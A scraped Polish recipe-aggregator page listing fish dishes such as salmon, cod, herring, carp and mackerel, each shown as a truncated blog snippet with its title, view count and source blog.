papierem do pieczenia. Lekko skropić olejem. Wstawić do piekarnika nagrzanego na 175 C i zapiekać ok 15-20 minut, funkcja termoobieg. Następnie blaszkę wystawić z piekarnika. Na podpieczonych kawałkach ryby ułożyć podsmażoną cebulkę. Na wierzchu posypać startym serem. Ponownie wstawić do piekarnika i zapiekać kolejne 10 minut aż ser się rozpuści. Gotową rybkę podałam z ziemniakami i surówką z kiszonej

Monia miesza i gotuje
Kotleciki z tuńczyka i ziemniaków 136

zmarnuje”. Z ziemniaków, które zostaną po obiedzie można zrobić nie tylko kopytka czy placki, ale także kotleciki rybne. Ja dodałam tuńczyka, ale z powodzeniem sprawdzi się inna ryba, np. wędzona makrela. Kotleciki robi się szybko. Można je usmażyć lub upiec w piekarniku.   1,5 szklanki tłuczonych ziemniaków 1 puszka tuńczyka, odcedzonego 1 mała puszka odcedzonej kukurydzy (pół szklanki

Kucharzyca
Ziołowy ryż z dorszem w sosie pomidorowym 142

Ziołowy ryż z dorszem w sosie pomidorowym to udany mariaż kuchni włoskiej i azjatyckiej :) Chuda ryba w aromatycznym sosie podana z ryżem jaśminowym i dużą porcją superfood - niepozornej rukwi wodnej, która m.in. oczyszcza i wzmacnia organizm, działa antyrakowo, poprawia trawienie i wygładza zmarszczy.  Czas przygotowania: 20 minut Porcja: 3 Składniki: 200 g ryżu jaśminowego pęczek rukwi wodnej (rukoli, bazylii

SzczyptaSmaQ
Ryż z cytrynowym łososiem i brokułami 139

dodatkiem trawy cytrynowej i pieprzu ziarnistego. Do ciepłego, nie gorącego oleju dodajemy łososia skórą do dołu i powoli podgrzewamy cały czas polewając wierzch olejem w którym się znajduje. Ryba przejdzie smakiem cytrynowym, będzie w środku delikatna i soczysta. Na sam koniec można ją na kilka sek. odwrócić z każdej str. żeby mieć pewność, że nie jest surowa (to nie jest

Moniki Smakołyki
Makaron zapiekany z wędzonym łososiem i mozzarellą wg Aleex 149

zgodnie z instrukcją na opakowaniu (ma być al dente - lekko twardy). Odcedzić. 3. Na dno formy wyłożyć połowę makaronu, posypać mielonym pieprzem. 4. Łososia pokroić w paski. 5. Rozłożyć rybę na warstwie makaronu i posypać świeżo zmielonym pieprzem oraz połową natki. 6. Ser żółty zetrzeć, mozzarellę porwać na kawałeczki, dodać śmietankę. 7. Łososia przykryć resztą makaronu i na wierzchu rozłożyć

W mojej kuchni
TAPENADA Z CZARNYCH OLIWEK – najlepsza! 190

oliwek ( najczęściej czarnych ), wywodząca się z Prowansji. Bardzo często spotykana również w kuchni śródziemnomorskiej. Najczęściej stosuje się ją jako dodatek do świeżego pieczywa , makaronu , a nawet mięs czy ryb ! Pastę robi się błyskawicznie i j est świetnym pomysłem na leniwe śniadanko albo kolację! Ja uwielbiam z grzankami … a Wy z czym ją podacie? SKŁADNIKI: * wydrylowane, czarne oliwki

Ostra na Słodko
Steki wołowe z antrykotu z krewetkami– ribeye surf & turf 202

jeszcze krewetki i frytki – żyć nie umierać!   Surf and turf to połączenie w głównym daniu mięsa – najczęściej właśnie wołowiny w postaci soczystego steka – i czegoś, co pływało – krewetek, ryb, homara, małży, przegrzebków, etc. Najbardziej znane połączenie to pieczony ogon homara podawany z filet mignon. W wersji niskobudżetowej – krewetki i antrykot będą równie dobre. Steki które kupiłam mają

Karo in the Kitchen
Domowy makaron z łososiem i hummusem. 113

następnie zwinąć w rulon i kroić na ok 5 mm paski. Rozwinąć. Gotować w osolonej wodzie przez kilka minut od wypłynięcia na powierzchnię. Pozostałe: łosoś świeży ulubione przyprawy do ryby hummus natka pietruszki Wykonanie: Łososia oczyścić, przyprawić i usmażyć na patelni, przygotować w piekarniku (według uznania). Ugotowany i odcedzony makaron przełożyć na głębszego naczynia, dodać hummus, wymieszać. Przełożyć na talerz

zadanie-gotowanie
Gubbrora - sałatka z jajek i anchois. 143

Szwedzka kuchnia jest bogata w dania zawierające ryby konserwowane solą. Ta słona sałatka z jajek z dodatkiem filecików anchois oraz pasty kawiorowej doskonale sprawdzi się jako imprezowy starter lub coś do podania o północy, kiedy przyjęcie się przedłuża. Nie ma co ukrywać, że najlepiej smakuje z zimnym piwem albo czymś mocniejszym - jak skandynawski akvavit. Oczywiście sałatka może się też sprawdzić

zadanie-gotowanie
Sałatka z łososiem pieczonym pod delikatnym sosem jogurtowym 158

Otóż nie.  I nawet mam pewne hipotezy czemu tak się stało: - łosoś mimo ceny mocno wygórowanej - nawet jak na łososia nie był zbyt smaczny. Nawet Maksiowi, który lubi ryby nie podszedł. Dużo lepiej wypadłby samodzielnie upieczony łosoś bądź ten wędzony na zimno, - zamiast mieszanki sałat wystarczy sałata lodowa, która cudownie komponuje się z ogórkiem i sosem jogurtowym. Choć kolacja

Kuchnia po mojemu
Pstrąg łososiowy smażony bez tłuszczu 127

Pstrąg łososiowy smażony bez tłuszczu Składniki: filet pstrąga łososiowego 1 limonka zioła prowansalskie sól, pieprz Przygotowanie pstrąga łososiowego: Umyty i osuszony filet pstrąga obsypujemy ziołami, solą i pieprzem. Układamy rybę na pergaminie, skrapiamy sokiem z limonki i oprószamy skórką otartą z limonki. Zawijamy filet w pergamin tak by nam się nie rozwijał i łatwo przewracał podczas smażenia. Smażymy na średnim

NiePieprz.pl
Sałatka z tuńczyka w wersji light 207

Natomiast doskonałym jego zamiennikiem będzie jogurt naturalny wymieszany z odrobiną musztardy, który nada się także do innych sałatek. :) Ostatnio nie miałam za bardzo pomysłu na kolację, chodziła za mną ryba i przypomniałam sobie przepis na szybką sałatkę, którą zobaczyłam na blogu Feel eat . Trochę ją zmodyfikowałam. Składniki na 2 porcje: Puszka tuńczyka w sosie własnym lub w wodzie jeden

Fabryka pomysłów
łosoś zapiekany z ziemniakami, marchewką i cebulą 261

pieprzymy. Łososia wyjmujemy z lodówki i układamy na warzywach, na całości  układamy pozostałe kawałki masła i  wstawiamy do piekarnika nagrzanego do 180 stopni. Rybę z warzywami  zapiekamy w tej temperaturze przez trzydzieści minut. Zapiekankę wyjmujemy z piekarnika, dzielimy na porcje, rozkładamy na talerze, posypujemy posiekanym koperkiem i podajemy

Miód i pieprz
Orientalny dorsz 114

Blueberry Corner by "jagodzianka" Ryby powinniśmy jeść i basta! Orientalny dorsz to świetna odmiana. Warzywa w słodko-kwaśnym sosie świetnie podkręcają smak potrawy. Ten zestaw … Przeczytaj cały artykuł Post Orientalny dorsz pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Sos szafranowy 187

Taki sos można podawać do ryb mięs i warzyw. jest pyszny i nie zbyt skomplikowany.   Sos szafranowy – szafran zalać zimną wodą i zostawić na 10 minut. W garnku zagotować wodę i położyć na górę miskę. Do miski dodać żółtka,sok z cytryny, śmietanę i szafran razem z wodą. Mieszać za pomocą trzepaczki, aż masa prawie zgęstnieje. Zdjąć miskę

Kuchnia Pokoleń
pyszna pasta z makreli... 129

łyżeczki, olej rzepakowy - ile potrzeba świeżą makrelę obrać z ze skóry, dokładnie obrać z ości, mięsko wkładać do miski cebulę, kiszony ogórek, pomidor, pokroić w kostkę i dodać do ryby do smaku dac pieprz mielony, olej rzepakowy, posiekany szczypiorek i wszystko dokładnie ugniatając widelcem połączyć schować do lodówki na 30 minut-godzinę aby smaki się przegryzły najlepiej smakuje z razowym

W Mojej Kuchni Lubię
Jajka faszerowane tuńczykiem 136

smakiem jajek i lekko pikantnej rzeżuchy. Świetnie sprawdzą się nie tylko na wielkanocnym stole ale też jako lekka przystawka. Składniki: 6 jajek puszka tuńczyka w sosie własnym (200g odsączonej ryby) 2 łyżeczki pesto pomidorowego 2 łyżki majonezu sól, czarny pieprz opcjonalnie papryczka chilii rzeżucha Sposób przygotowania: Jajka gotujemy na twardo w wodzie z dodatkiem soli lub octu. Studzimy, obieramy

Pyry na Gaz
TATAR ŚLEDZIOWY I KONKURS Z SEKO 133

moją propozycję na podanie filetów śledziowych  SEKO  , a poniżej zaproszę do udziału w konkursie w którym do wygrania będą pyszne zestawy- nie tylko śledzi, ale także innych ryb.  Składniki: 20 dag filetu śledziowego z kaparami  SEKO   2 jajka ugotowane na twardo 2 kiszone ogórki 6 marynowanych grzybków 3 kawałki marynowanej papryki 1 mała czerwona cebula

Z Majeczką w kuchni
Dorsz grillowany z pieczonymi warzywami i szpinakiem. Detox dzień 6 105

kalorię??? Ja na pewno nie! Podobno siedzą w szafie i zszywają w nocy ubrania... Jeśli lubicie dorsza tak jak ja to mam dla Was inną propozycję na podanie tej ryby. Spróbujcie dorsza smażonego z pieczarkami i pomidorami - pyszności! ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Warstwowa sałatka z tuńczykiem i ananasem 605

trzy części i dodatkowo rozsmarować między kukurydzą a ananasem. Wtedy dolna część sałatki będzie wilgotniejsza. Kategoria: A-Z WYTRAWNIE , Bez pieczenia , Dania bez glutenu , Dania jednogarnkowe , Dania z rybą , Na specjalne okazje , sałatki i surówki , Wielkanoc Tagged: jajka , kukurydza , ser żółty , śmietana

https:KKuchniaMniam
ROLADKI Z DORSZA NA OSTRO Z PIECZONYMI POMIDORAMI 144

galangalu * korzeń imbiru * trawa cytrynowa * sos sojowy * cukier trzcinowy * cebula dymka / zielona część * papryczka chili * sól , pieprz DODATKOWO: * pomidory koktajlowe * świeży ogórek , groszek zielony SPOSÓB PRZYRZĄDZENIA: Oczyszczoną i osuszoną rybę skrapiamy odrobiną soku z limonki i sosu sojowego i nacieramy zmiażdżonym imbirem, korzeniem galangalu, trawą cytrynową, odrobiną cukru trzcinowego i pieprzem – odstawiamy na ok. 20 minut. Po zamarynowaniu układamy

Ostra na Słodko
Smażony filet z mintaja. 101

Składniki: -filet z mintaja -kucharek -mąka -olej Sposób przygotowania: Rybę myjemy, kroimy na mniejsze części i posypujemy delikatnie kucharkiem. Następnie obtaczamy w mące i wkładamy na rozgrzany olej. Smażymy z jednej i drugiej strony na złocisty kolor. Smacznego

Magia jedzenia.
Smażone płotki 197

Blueberry Corner by "jagodzianka" Dostałam od ojca chrzestnego prezent – złowione w lutym, świeże płotki. Płotki to ryby z rodziny karpiowatych. Żyją w stawach, … Przeczytaj cały artykuł Post Smażone płotki pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
MINTAJ W PANIERCE KUKURYDZIANEJ 151

Przy piątku na obiad u mnie będzie rybka. Często przyrządzam filety, najbardziej ze względu na dzieciaki, które taką ,,rybę" lubią najbardziej. Panierka kukurydziana fajnie zmienia smak tradycyjnej rybki, spróbujcie   Składniki: 500 g filetu z mintaja lub miruny- może być inna sól, pieprz cytrynowy 2 szklanki płatków kukurydzianych 2 jajka Wykonanie: Filety kroimy na mniejsze kawałki. Oprószamy solą, pieprzem cytrynowym

Z Majeczką w kuchni
Pasta z sardynek w sosie paprykowym. 245

Ostatnio często jadam ryby, w sumie to dobrze, bo są bogate w białko i kwasy omega. Tym razem padło na pastę z sardynek, uwielbiam takie domowe smarowidła na kanapki. Łączymy kilka składników i mamy pyszne śniadanko :) Składniki: 1 puszka sardynek w sosie paprykowym Grall 110g 100 g śmietankowego serka kanapkowego 1 łyżka majonezu 1 łyżeczka ketchupu 1 łyżka miękkiego masła

Symfonia smakowa
Burgery z tęczowego pstrąga łososiowego 100

Burgery nie muszą być tylko z mięsem. Ryba też świetnie nadaje się do tego. Propozycja z pstrągiem, świetnie pasuje też filet z łososia. Składniki 300 g fileta z pstrąga łososiowego 2 łyżki posiekanej natki pietruszki 2 łyżki posiekanego świeżego koperku 3 łyżki i pół szklanki sosu tatarskiego wiedeńskiego szczypta soli pieprz 1 łyżeczka startej skórki cytrynowej 2 bułki grahamki pół

R'n'G Kitchen
Kanapka z łososiowym omletem i majonezowym sosem worcester 117

kostkę. Przyprawić solą i pieprzem. Na patelni rozgrzać olej, dodać łososia i przesmażyć krótko. W niewielkim naczyniu rozmieszać mleko i mąkę ze szczyptą soli. Wbić jajko i roztrzepać dokładnie. Rybę na patelni rozłożyć równomiernie, wlać na nią jajko z mlekiem i mąką. Na średnim ogniu usmażyć omlet z obu stron. (Przewracać ostrożnie.) Po usmażeniu na jednej ze stron ułożyć plaster

Codzienna kuchnia niecodzienna
Ryba na czosnkowej kapuście 189

Fish with garlic cabbage Składniki / Ingredients: 1 filet z czarniaka / 1 piece of coalfish 1/4 małej kapusty pekińskiej / 1/4 Chinese cabbage 1 mała cebula / 1 … Czytaj dalej Ryba na czosnkowej kapuście

czarrna od kuchni
Rybka na chińskich ryżu 211

Fish and rice   Orientalne smaki na obiad :) Składniki 2 kawałki ryby / 2 pieces coalfish (u mnie czerniak) 1 woreczek ugotowanego brązowego ryżu / 100 g boiled brown … Czytaj dalej Rybka na chińskich ryżu

czarrna od kuchni
Rybne risotto 207

Pomysł na rybę :) Składniki 1 filet z flądry (ok. 45 dkg) 20 dkg ryżu 200g cukinii 2 pomidory 2 ząbki czosnku 1 łyżka posiekanego koperku sól, pieprz ostra mieszanka … Czytaj dalej Rybne risotto

czarrna od kuchni
brokuł z anchois bez soli 207

wysmarować masłem,wyłożyć naleśnikami (2-3 sztuki) zależy jak duża jest forma. Na naleśniki położyć różyczki brokuła,pokrojony ser feta w kostkę. Poukładać na wierzch Anchois – niedużej, bardzo tłustej ryby Całość zalać śmietanką Posypać startym serem-u nas dużo bo wszyscy lubią. Wszystko zakryć naleśnikami i zetrzeć na całość ser Piec w nagrzanym piekarniku 180 ° C około 15-20 minut

w mojej kuchni
Ostrobok w warzywach 164

Ostrobok w warzywach SKŁADNIKI: 1 ostrobok 35-40 dkg 2 pomidory 1/2 żółtej papryki 1/2 małej cukinii 1 cebula 2 ząbki czosnku kilka oliwek sól, pieprz przyprawa do ryb cytryna   … Czytaj dalej Ostrobok w warzywach

czarrna od kuchni
Łosoś na makaronie z pesto 209

Łosoś na makaronie z pesto Lekki i aromatyczny obiadek :) Składniki 200 g fileta z łososia 1 łyżka majonezu 1 łyżka miodu przyprawa do ryb pieprz cytrynowy sól   100 … Czytaj dalej Łosoś na makaronie z pesto

czarrna od kuchni
Sos holenderski – jak zrobić 136

masło się zetnie. Za trzecim razem sos mi się udał, wiadomo do trzech razy sztuka… Nie ja pierwsza i ostatnia! Ten sos świetnie pasuje do smażonej ryby z ziemniaczanym puree i szpinakiem. Sos holenderski Składniki: 3 duże żółtka 150 g roztopionego masła sól do smaku 1 łyżka winnego octu 1 łyżeczka octu szczypta białego pieprzu Ubij żółtka na parze

codojedzenia
Zupa rybna na ostro. 127

marchewkę i ziemniaki w kostkę. Pora razem z papryczką podsmażamy na odrobinie tłuszczu (używałam oliwy) lub bez tłuszczu jeśli mamy dobrą patelnię. Przekładamy do garnka dodajemy ziemniaki, marchewkę i rybę pokrojoną w kawałki, wszystko zalewamy wodą, doprawiamy papryką, czosnkiem i solą. Gotujemy od zagotowania na małym ogniu przez 30 minut. Smacznego

Moje-pitraszenie
Rybny gulasz 143

Propozycja na inny sposób przyrządzenia ryby.  Składniki 600 g polędwiczki z dorsza czarnego 1 cytryna 1 mały por 1 czerwona papryka 1 brokuł 3 łyżki masła pół pęczka koperku sól  pieprz   Przygotowanie   Filet opłukałem, osuszyłem, pokroiłem na kawałki. Włożyłem do miski, skropiłem sokiem wyciśniętym ze sparzonej cytryny. Odstawiłem na 20 minut. Por oczyściłem, opłukałem pod bieżącą

R'n'G Kitchen
Sushi z wędzonym łososiem 307

wasabi oraz marynowanego imbiru. Przyznam Wam, że pierwszy robiłam domowe sushi. Zawsze omijałam je ze względu na to, że nie przepadam za surową rybą dlatego postawiłam na wędzonego łososia Takie sushi to świetny pomysł na kolację/przekąskę z rodziną lub znajomymi. Od poniedziałku 8.02.2016 w sklepach Lidl

Marta Gotuje
Sałatka makaronowa z fasolką i tuńczykiem 172

Dziś mamy dla Was szybką, pyszną ,a przede wszystkim sycącą sałatkę makaronową z fasolką i tuńczykiem :) Prosta potrawa, którą można zjeść na

Kuchenne Wariacje
Śledzik na kilka sposobów, czyli przepis na Ostatki 146

Śledzik na kilka sposobów, czyli przepis na Ostatki Już jutro Ostatki, czyli ostatni dzień Karnawału. Dzień też potocznie jest nazywany śledzikiem, Podrzucam więc Wam kilka sposobów na tę pyszną rybę. Kliknijcie na tytuł przepisu na pod zdjęciem, a zostaniecie przekierowani na stronę z przepisem. Śledź po kaszubsku Domowe rolmopsy z papryką Śledź w oleju z cebulą Śledź po kaszubsku

Kulinarne przygody Gatity
Tortilla z paluszkami rybnymi i sosem tzatziki 196

obiad, kolację czy przekąskę z wykorzystaniem paluszków rybnych, które 'zapakowałam' w domową tortillę , z dodatkiem warzyw oraz sosu tzatziki w nieklasycznej, jednakże bardzo ciekawej smakowo wersji. Jako, że z ryba lubi dodatek kiszonki, to tzatziki zrobiłam właśnie na bazie ogórków kiszonych- zamiast świeżych- których dodatek sprawia, że całość fantastycznie się ze sobą komponuje! 4 porcje: * tortilla- 4 szt. * paluszki rybne

Kraina Miodem Płynąca
Paluszki surimi w cieście serowo-sezamowym 237

www.facebook.com/Di.gotuje http://digotuje.blogspot.com  Przepis autorski (mój).   Surimi, czyli paluszki sporządzone na bazie zmielonego mięsa ryb morskich, najczęściej mintaja, dorsza lub morszczuka. Surimi w cieście - to pomysł na pyszną przekąskę - jak również na lekki posiłek. Tak przygotowane są pyszne na ciepło oraz po wystygnięciu. Ciasto możecie doprawić według własnego smaku. Tak czy inaczej - zapewniam, że znikną baaardzo szybko

Di gotuje
Domowy paprykarz 144

Blueberry Corner by "jagodzianka" Od pewnego czasu chodził za mną jakiś smak – wspomnienie z czasów młodości. Smak ryby w pomidorach. Kupiłam szprotki w … Przeczytaj cały artykuł Post Domowy paprykarz pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Tatar z łososia 142

świeżego łososia 1 czerwona cebula 2 ogórki konserwowe 1 łyżka soku z cytryny pieprz do smaku sól do smaku Wykonanie: Z łososia zdejmujemy skórę i wyjmujemy ości. Rybę myjemy i osuszamy papierowym ręcznikiem. Łososia, cebulę i ogórki drobno siekamy nożem. Składniki wkładamy do miski. Dodajemy sok z cytryny, pieprz oraz sól do smaku i całość dokładnie mieszamy. Tak przygotowany tatar

Smak mojego domu
Pieczona makrela z sosem tatarskim 107

Dzisiaj proponuję pieczoną makrelę, jakby nie patrzeć dzisiaj jest piątek ( niektórzy mówią – piąteczek ). Makrelę oczywiście każdy zna. Dużo ryby, mało ości i specyficzny smak. Dodatkowo dodałam do niej sos tatarski. Składniki: Makrela (d owolna ilość ) Sól Otarta skórka z cytryny Koperek Sos Ogórek korniszony Kapary Cebula majonez Sól Pieprz Wykonanie: Makrelę wkładamy do naczynia do zapiekania ( najlepiej na pergaminie ), przyprawiamy

Smaki Ewy
Stek z Tuńczyka - Jak usmażyć stek z tuńczyka 146

Tuńczyk to love mojego syna. Tą rybę w każdej postaci może jeść codziennie, ba nawet codziennie trzy razy dziennie :) Stek z tuńczyka? Tak naprawdę jest banalny w przygotowaniu i tak szybko się go przygotowuje. Nie bójcie się go usmażyć. W mojej okolicy jedyny stek jaki mogę dostać jest w formie mrożonej, a w Biedronce z tego co widzę zadomowił się

Blondynka Gotuje
zdrowa, smaczna pasta z makreli wędzonej z olejem rzepakowym.. 149

najlepiej smakuje z ciemnym pieczywem, jest zdrowa i pyszna...........SMACZNEGO!!! „Olej rzepakowy jest naturalnym źródłem kwasów omega – 3 i dlatego używam do wszystkich potraw gotowanych, smażonych, pieczenia ciast, mięs, ryb, zapiekanek....również używam olej rzepakowy do kąpieli, gdyż znakomicie łagodzi objawy mojej suchej skóry

W Mojej Kuchni Lubię
Pstrąg 113

pstrąg 1 łyżka mąki 1 łyżka bułki tartej sól pieprz sok z cytryny Bułkę tartą i mąkę wymieszać, dodać sól i pieprz. Rybę umyć, oskrobać z łusek, skropić sokiem z cytryny. Po ok 10 min panierować w mieszance bułki z mąką i smażyć na słoty kolor na wolnym ogniu. Podać z ziemniakami i surówką

Gotowanie jest łatwe
Biały paprykarz 230

Mój syn nie przepada za paprykarzem ale ten wyjątkowo zjadł z apetytem. Do jego przygotowania użyłam ryby w oleju i jogurtu naturalnego. Dzięki temu jest bardziej fit. Składniki 1,5 szkl ugotowanego ryżu 1 puszka makreli w oleju 1 cebula 2 … Czytaj dalej

Fiołkowa Kuchnia Małgorzaty
chrupiące placki na oleju rzepakowym ze śledziem w śmietanie... 181

placki ze śledziami zwłaszcza w zimowe i chłodne dni.......SMACZNEGO!!! „Olej rzepakowy jest naturalnym źródłem kwasów omega – 3 i dlatego używam do wszystkich potraw gotowanych, smażonych, pieczenia ciast, mięs, ryb, zapiekanek....również używam olej rzepakowy do kąpieli, gdyż znakomicie łagodzi objawy mojej suchej skóry

W Mojej Kuchni Lubię
Złocista Dorada z grilla 140

Nigdy nie lubiłam ryb, przekonałam się do nich dopiero niedawno i myślę że muszę zacząć częściej je kupować a nie skupiać się tylko na mięsie. Złocista Dorada z grilla Składniki: - 2 dorady patroszone - płatki chilli (może być świeże) - 1/2 natki pietruszki - sól morska - oliwa - 2 limonki - 2 ząbki czosnku Przygotowanie: Doradę myjemy, suszymy ręcznikiem papierowym i lekko nacinamy w trzech

Kulinarne życie
Dietetyczne kotlety rybne 197

Moja dieta trwa nadal z bardzo dobrym skutkiem, jeden tydzień odchudzałam się sama w domu, na drugi tydzień pojechałam do Kołobrzegu i oddałam się w ręce

Damsko-męskie spojrzenie na kuchnię
Sałatka z wędzonej makreli, mango i serem kozim 168

Kolejna fajna propozycja na kolację czy śniadanie. Lekka i z dzienną porcją warzyw, a i jest ryba. 6 porcji Składniki:  1 duża makrela obrana 1 czerwona papryka 125 g świeżej rukoli 1 duża szalotka lub czerwona cebula 1 mango 100 g oliwek zielonych bez pestki (mogą być faszerowane) 120 g sera koziego sos 3 łyżki miodu 5 łyżek oliwy

Niezły Młynek
Ptysie z serkiem i wędzonym łososiem 213

powinny się zarumienić.  W czasie, gdy ptysie stygną, przygotowujemy serek i łososia. Do serka dodajemy koperek, pieprz oraz sól do smaku. Całość dokładnie mieszamy. Z łososia usuwamy skórę. Rybę kroimy na niewielkie plasterki. Gdy ptysie ostygną, kroimy je wzdłuż na pół i nadziewamy przygotowanym serkiem i łososiem. Smacznego

Smak mojego domu
Piernikowe boczniaki a'la śledzie po wegańsku 150

przez Dolce&Vegan - dokładna relacja wkrótce na blogu.   Przygotowywaliśmy tam wegańskie odpowiedniki wielu tradycyjnych, polskich potraw. Nauczyłam się nie tylko, jak w prosty sposób zastąpić mięso i ryby w danym daniu, ale również jak łatwo podmienić cukier, czy gotować kompletnie bez glutenu. Jedną z potraw, które zrobiły na mnie największe wrażenie, były "śledziki" w oleju. Na pierwszy rzut

Grunt to przepis!
Smażone rolady śledziowe do słoika 139

Smażone rolady śledziowe do słoika Śledź to wspaniała ryba , doskonała smażona jak i w różnych zalewach . Smażone roladki zanurzone w sosie pomidorowym ,przełożone smażoną cebulką , lekko pikantne…mniam , wspaniałości , najsmaczniejsze po kilku dniach ( minimum pięć dni ) . Śledź w takiej zalewie jest całkowicie pozbawiony ości , gdyż kręgosłup wyjmujemy na etapie przygotowania , a ości miękną podczas marynowania .Nawet jak ktoś jest

Ogrodnik w podróży
Łosoś pieczony z serem 172

zachwycił, że powtarzaliśmy go nie raz, nie dwa... ;-) By danie było smaczne konieczny jest tu twardy, długodojrzewający ser, którego smak jest na tyle wyrazisty by dorównać smakowi ryby. Klasyczne połączenia są najlepsze, w tym przypadku wystarczą zaledwie dwa składniki by powstał smaczny posiłek. 2 filety z łososia 100g twardego sera długodojrzewającego sól, pieprz  1. Filety z łososia nacieramy solą

Szefowa kuchni
Sałatka śledziowa z buraczkami i jabłkiem 190

codziennego pałaszowania. Przygotowanie jest proste i nie zajmuje dużo czasu. Mam nadzieje, że stanie się ona stałym puntem jadłospisu nie jednej rodziny, wzbogacając do o zdrowe warzywa i ryby.  Składniki - 5 płatów śledziowych w zalewie octowej - 1 średni surowy czerwony burak - 3 cebule dymki ze szczypiorem - 1 jabłko - 2 małe ogórki kiszone - 1 czubata łyżeczka chrzanu - 300 ml kwaśnej

Świat Smaku
Śledzie po kaszubsku według Pyzy 206

dobry śledzik nie jest zły, prawda? Do przygotowania śledzia po kaszubsku możecie użyć także zwykłych śledzi marynowanych - domowych albo takich ze sklepu. Niektórzy robią tę potrawę bez wstępnego marynowania ryby i tylko cebulę doprawiają odrobiną octu. Kwestia gustu i przepisu. Ja obstaję przy tym, że moje śledzie są najlepsze i tak zrobione smakowały wszystkim, których częstowałam. Spróbujcie. ROZWIŃ I CZYTAJ

Smaczna Pyza
Karp w galarecie 97

dekoracji: zielony groszek natka pietruszki (posiekana) cytryna Obrane warzywa (w całości) ugotować w wodzie z dodatkiem przypraw. Oczyszczonego karpia (łuski oskrobać pod zimną, bieżącą wodą) pokroić w dzwonki. Kawałki ryby (po kilka, partiami) gotować (10-15 minut) w wywarze (z warzywami) i od razu układać na półmisku. Gorący wywar odcedzić (powinno zostać około 600 ml), ewentualnie doprawić i rozpuścić

Di gotuje
Śledź w śmietanie z jabłkiem 133

czarnego pieprzu. Całość wymieszałem z 200 gramami śmietany 18%. Do miseczki ze śmietaną, jabłkiem i cebulą dodałem wcześniej przygotowane kawałki śledzia. Całość delikatnie wymieszałem, uważając, aby nie uszkodzić kawałków ryby. Z uwagi na słony smak śledzi potrawa raczej nie powinna wymagać dodatku soli, natomiast obficie doprawiłem ją świeżo zmielonym czarnym pieprzem. Tak przygotowane śledzie odstawiłem do lodówki na co najmniej

Wyprawy kulinarne
Karp pieczony z pieczarkami / Carp baked with mushrooms 143

olej i podsmaż cebulę do zeszklenia. Dodaj grzyby i smaż przez kolejne 5 minut, po czym wlej wino i smaż aż odparuje dopraw solą i pieprzem i wyłóż na rybę. Polej całość masłem i włóż do nagrzanego do 180 oC piekarnika. Piecz przez 30 minut, wyjmij i podawaj posypanego resztą pietruszki. Smacznego! English version Carp baked with mushrooms

karmelowy
Marynowane płaty śledziowe – od podstaw 189

height: 1em;" /> Dlaczego ? Bo lubię i uważam ,że jak wiem co jem , to jakoś od razu lepiej się czuję , no najchętniej nawet złowiłabym go sama – uwielbiam łowić ryby – ale niestety nie mam kutra i jakoś nie organizuje się wypraw na śledzia " class="wp-smiley" style="height: 1em; max-height: 1em;" />" class="wp-smiley" style="height: 1em; max-height

Ogrodnik w podróży
Placki z wędzoną makrelą i buraczkami 131

Podgotowane buraki obrać, pokroić w kostkę. Na patelni roztopić masło, wrzucić buraczki. Chwilę podsmażyć. Powinny zmięknąć, ale pozostać jędrne. Na usmażone placki nakładać porcję buraczków i kawałek ryby. Przykryć sosem chrzanowym, posypać szczypiorem. Od razu podawać. Smacznego

Pełny talerz
Rolmopsy z ogórkiem 169

pisałam już poprzednio przy wstawianych przepisach na śledzia, dla mnie grudzień to miesiąc śledzia właśnie. Dziś zapraszam na kolejną wariację na temat tej pysznej ryby, czyli przepis na rolmopsy z konserwowym ogórkiem. Na blogu znajdziecie też przepis na  domowe rolmopsy z czerwoną papryką , a także inne przepisy ze śledziem w roli głównej: Śledź po kaszubsku II   Śledź wiejski

Kulinarne przygody Gatity
Karp marynowany w cebuli i majeranku 221

czasie płaty karpia obustronnie solimy i pieprzymy oraz obtaczamy w mące. Smażymy na rozgrzanym maśle klarowanym. Przed podaniem karpia umieszczamy na blasze wyłożonej papierem do pieczenia. Na każdym kawałku ryby kładziemy kilka wiórków zimnego masła. Pieczemy w 150stopniach C przez 10-15 minut

Pyry na Gaz
Sardynki w cieście 134

rumiano. Wyjmować na ręcznik papierowy. Podawać z cytryną. Można podać z pieczywem lub z frytkami. Ja podałam z frytkami i solirodem. Jeżeli nie zjemy wszystkich ryb, można je włożyć w zalewę octową . zastawa

królestwo garów
Śledź w zalewie pomidorowej 191

Ryby, a szczególnie śledzie bardzo dobrze smakują w połączeniu z pomidorami. Śledzie w pomidorach dostępne w sklepach, jak dla mnie zazwyczaj są zbyt octowe. Przygotowanie domowej zalewy pomidorowej do śledzi jest proste, ocet w niej jest tylko delikatnie wyczuwalny. Taki śledzik już na następny dzień po przygotowaniu nabiera pomidorowego smaku i śmiało można się nim zajadać.    Składniki

Kuchcik gotuje
Smażony łosoś z sosem żurawinowo - porowym 150

ząbki czosnku - 1/3 szklanki świeżej żurawiny - 1 chlust białego wina - 2 łyżki masła - łyżka oliwy z oliwek - sól morska - świeży rozmaryn - sól, różowy pieprz - 100 ml wody WYKONANIE: - rybę umyj i osusz, obtocz w mące i smaż na złoty kolor na oliwie z klarowanym masłem - ryż jaśminowy ugotuj zgodnie z instrukcją na opakowaniu - na patelni rozpuść masło, dodaj oliwę, przeciśnięty

SMYKWKUCHNI
Pieczony dorsz prosto z polskiego morza 193

piątkowy obiad ryba! Świeży dorsz prosto z polskiego morza. Czytaj więcej

Ana Mari's world
Karp w bazyliowej galarecie 130

rybnego   ok 1 kg filetów z karpia 1 puszka groszu 4 ugotowane marchewki ( ugotować wcześniej z bulionem) 2 pęczki bazylii 3 łyżki żelatyny trochę octu winnego do zamarynowania ryby szczypta tymianku sól i pieprz do smaku Ciekawe rozwiązania znajdziecie tutaj Przygotowanie: Zamarynuj filety octem z tymiankiem, solą i pieprzem, pozostaw na 30 minut aby się przegryzło. Na koniec gotowania

Niezły Młynek
Rajska zupa rybna 184

chilli). Jeżeli smak jest bardzo wyrazisty dodajemy mleko kokosowe. Wszystko gotujemy jeszcze ok 5 minut i wrzucamy łososia pokrojonego w kostkę 2 cm x 2 cm. Delikatnie mieszając, żeby ryba się nie rozpadła dodajemy posiekaną kolendrę (pamiętajcie, że kolendra jest delikatnym ziołem i starajcie się siekać tylko raz, żeby jej nie zmiażdżyć) Cała zupę gotujemy jeszcze

Niezły Młynek
Domowe rolmopsy z papryką 121

